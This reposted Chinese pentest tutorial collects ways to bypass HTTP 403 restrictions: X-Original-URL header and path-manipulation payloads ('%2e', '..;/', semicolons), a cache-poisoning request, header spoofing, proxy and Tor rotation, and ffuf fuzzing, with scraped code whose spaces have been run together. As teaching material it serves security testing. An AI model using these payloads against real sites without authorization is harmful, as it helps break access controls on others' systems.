如何绕过403(禁止访问)

admin 2026-01-28 07:02:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详细介绍了多种绕过Web应用403禁止访问错误的技术手段。核心方法包括利用X-Original-URL等HTTP头绕过、在路径中插入%2e或点斜杠分号等特殊字符、改变URL大小写以及Web缓存投毒。此外,文章还涵盖了User-Agent伪装、IP轮换、Referer头修改、会话保持及利用Selenium等工具进行自动化绕过,并建议使用ffuf进行模糊测试发现隐藏端点。 综合评分: 85 文章分类: WEB安全,渗透测试,红队


cover_image

如何绕过 403(禁止访问)

原创

网络安全民工 网络安全民工

网络安全民工

2026年1月27日 13:05 天津

绕过 403(禁止)

使用X-Original-URL标头

# Normal Request (403)GET /admin HTTP/1.1 Host: target.com# Try this to bypass (200)GET /anything HTTP/1.1 Host: target.com X-Original-URL: /admin

%2e在第一个斜杠之后添加

# Normal Request (403)http://target.com/admin# Try this to bypass (200)http://target.com/%2e/admin

尝试在网址中添加点、.斜杠/和分号。;

# Normal Request (403)http://target.com/admin# Try this to bypass (200)http://target.com/admin/. http://target.com//admin// http://target.com/./admin/.. http://target.com/;/admin http://target.com/.;/admin http://target.com//;//admin

..;/在目录名称后添加

# Normal Request (403)http://target.com/admin# Try this to bypass (200)http://target.com/admin..;/

请尝试将网址中的字母全部大写。

# Normal Request (403)http://target.com/admin# Try this to bypass (200)http://target.com/aDmIN

通过网络缓存投毒

GET /anything HTTP/1.1 Host: victim.com X­-Original-­URL: /admin

其他技巧

绕过 403 Forbidden 错误,尤其是在使用 Akamai Ghost 等防火墙时,可能颇具挑战性。不过,您可以采用多种技巧和策略来尝试绕过此类限制。以下是一些方法:

1. 用户代理欺骗

网站通常会屏蔽某些用户代理字符串。您可以尝试伪造用户代理,使其看起来像是其他浏览器或机器人。

importrequestsurl="http://target.com"headers= {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}response=requests.get(url, headers=headers)print(response.status_code)

2. IP轮换

轮换IP地址可以帮助绕过一些速率限制或地理封锁措施。你可以使用代理或VPN来实现这一点。

proxies= {    'http': 'http://your_proxy_ip:port',    'https': 'http://your_proxy_ip:port'}response=requests.get(url, proxies=proxies)print(response.status_code)

3. 引用页标头

有时,添加 Referer 标头可以使请求看起来像是来自合法来源。

headers= {    "Referer": "http://target.com",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}response=requests.get(url, headers=headers)print(response.status_code)

4. 饼干

有时,网站会使用 Cookie 来跟踪和阻止请求。您可以尝试模仿合法的 Cookie。

cookies= {    'cookie_name': 'cookie_value'}response=requests.get(url, cookies=cookies)print(response.status_code)

5. 会话管理

保持会话状态以绕过某些限制。

session=requests.Session()session.get("http://target.com")response=session.get("http://target.com/protected_page")print(response.status_code)

6. 通过 JavaScript 绕过

有些网站使用 JavaScript 动态加载内容,这可能会绕过某些服务器端限制。您可以使用 Selenium 或 Puppeteer 等工具来自动化浏览器交互。

Selenium 示例:

fromseleniumimportwebdriverdriver=webdriver.Chrome()driver.get("http://target.com")# Perform actions like clicking buttons or filling formsdriver.find_element_by_xpath("//button[@id='login']").click()# Extract contentcontent=driver.page_sourceprint(content)driver.quit()

木偶师示例:

constpuppeteer=require('puppeteer');(async()=>{constbrowser=awaitpuppeteer.launch();constpage=awaitbrowser.newPage();awaitpage.goto('http://target.com');// Perform actions like clicking buttons or filling formsawaitpage.click('button#login');// Extract contentconstcontent=awaitpage.content();console.log(content);awaitbrowser.close();})();

7. 使用 Tor 或其他匿名网络

使用 Tor 或其他匿名网络可以帮助绕过基于 IP 的限制。

importrequests# Define the SOCKS5 proxyproxies= {    'http': 'socks5h://127.0.0.1:9050',    'https': 'socks5h://127.0.0.1:9050'}# Define the URLurl='http://target.com'# Send the request through the proxytry:    response=requests.get(url, proxies=proxies, timeout=10)    print("Status Code:", response.status_code)    print("Response Content:", response.text)exceptrequests.exceptions.RequestExceptionase:    print(f"Error: {e}")

8. 检查绕过 URL

有时,网站会有备用网址,这些网址不受同一防火墙规则的保护。

9. 使用浏览器扩展程序

浏览器扩展程序SwitchyOmega可以帮助管理不同的配置文件和设置,以绕过限制。

10. 模糊测试和暴力破解

可以使用类似工具ffuf进行暴力破解,发现可能绕过限制的隐藏端点或参数。

ffuf -u http://target.com/FUZZ -w /path/to/wordlist.txt

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全民工 网络安全民工 网络安全民工《如何绕过 403(禁止访问)》

评论:0   参与:  0